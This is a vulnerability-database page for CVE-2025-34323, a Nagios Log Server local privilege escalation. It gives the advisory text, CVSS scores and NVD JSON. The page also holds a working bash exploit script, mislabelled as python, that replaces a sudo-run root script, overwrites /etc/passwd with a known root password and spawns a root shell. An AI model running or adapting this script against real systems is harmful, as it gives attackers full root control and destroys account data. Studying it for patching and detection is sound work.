Security Vulnerability Report
中文
CVE-2025-34323 CVSS 7.8 HIGH

CVE-2025-34323

Published: 2025-11-17 18:15:57
Last Modified: 2025-11-26 15:15:52

Description

Nagios Log Server versions prior to 2026R1.0.1 are vulnerable to local privilege escalation due to a combination of sudo misconfiguration and group-writable application directories. The 'www-data' user is a member of the 'nagios' group, which has write access to '/usr/local/nagioslogserver/scripts', while several scripts in this directory are owned by root and may be executed via sudo without a password. A local attacker running as 'www-data' can move one of these root-owned scripts to a backup name and create a replacement script with attacker-controlled content at the original path, then invoke it with sudo. This allows arbitrary commands to be executed with root privileges, providing full compromise of the underlying operating system.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2026:r1:*:*:*:*:*:* - VULNERABLE
Nagios Log Server < 2026R1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-34323 PoC - Nagios Log Server Local Privilege Escalation # Target: Nagios Log Server < 2026R1.0.1 TARGET_DIR="/usr/local/nagioslogserver/scripts" EXPLOIT_SCRIPT="logrotate_nagioslogserver" BACKUP_SCRIPT="logrotate_nagioslogserver.bak" # Check if target directory exists and is writable if [ ! -d "$TARGET_DIR" ] || [ ! -w "$TARGET_DIR" ]; then echo "[-] Target directory not writable or does not exist" exit 1 fi echo "[*] CVE-2025-34323 Nagios Log Server LPE" echo "[*] Backing up original script..." # Backup original script mv "$TARGET_DIR/$EXPLOIT_SCRIPT" "$TARGET_DIR/$BACKUP_SCRIPT" # Create malicious script with root shell payload echo "#!/bin/bash # Malicious script - creates SUID shell echo 'root:$(openssl passwd -1 hacked123):0:0:root:/root:/bin/bash' > /etc/passwd echo '[+] Root password set' echo '[+] Escalating to root shell...' /bin/bash -p" > "$TARGET_DIR/$EXPLOIT_SCRIPT" # Make script executable chmod +x "$TARGET_DIR/$EXPLOIT_SCRIPT" echo "[*] Executing exploit via sudo..." # Execute the malicious script with sudo sudo "$TARGET_DIR/$EXPLOIT_SCRIPT" echo "[*] Restoring original script..." # Restore original script mv "$TARGET_DIR/$BACKUP_SCRIPT" "$TARGET_DIR/$EXPLOIT_SCRIPT" echo "[+] Exploitation complete - check /etc/passwd or try su -" # Alternative: Spawn root shell directly # sudo "$TARGET_DIR/$EXPLOIT_SCRIPT"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34323", "sourceIdentifier": "[email protected]", "published": "2025-11-17T18:15:56.880", "lastModified": "2025-11-26T15:15:52.143", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server versions prior to 2026R1.0.1 are vulnerable to local privilege escalation due to a combination of sudo misconfiguration and group-writable application directories. The 'www-data' user is a member of the 'nagios' group, which has write access to '/usr/local/nagioslogserver/scripts', while several scripts in this directory are owned by root and may be executed via sudo without a password. A local attacker running as 'www-data' can move one of these root-owned scripts to a backup name and create a replacement script with attacker-controlled content at the original path, then invoke it with sudo. This allows arbitrary commands to be executed with root privileges, providing full compromise of the underlying operating system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026", "matchCriteriaId": "193F80CC-75B5-4F6B-8C44-ABB8ADC43C31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2026:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FC4948-E93B-4F6F-83D5-17A39A5DDAAA"}]}]}], "references": [{"url": "https://theyhack.me/Rooting-Nagios-Log-Server/", "source": "[email protected]"}, {"url": "https://www.nagios.com/changelog/nagios-log-server/nagios-log-server-2026r1-0-1/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#log-server", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-log-server-local-privilege-escalation-via-writable-scripts-and-sudo-rules", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}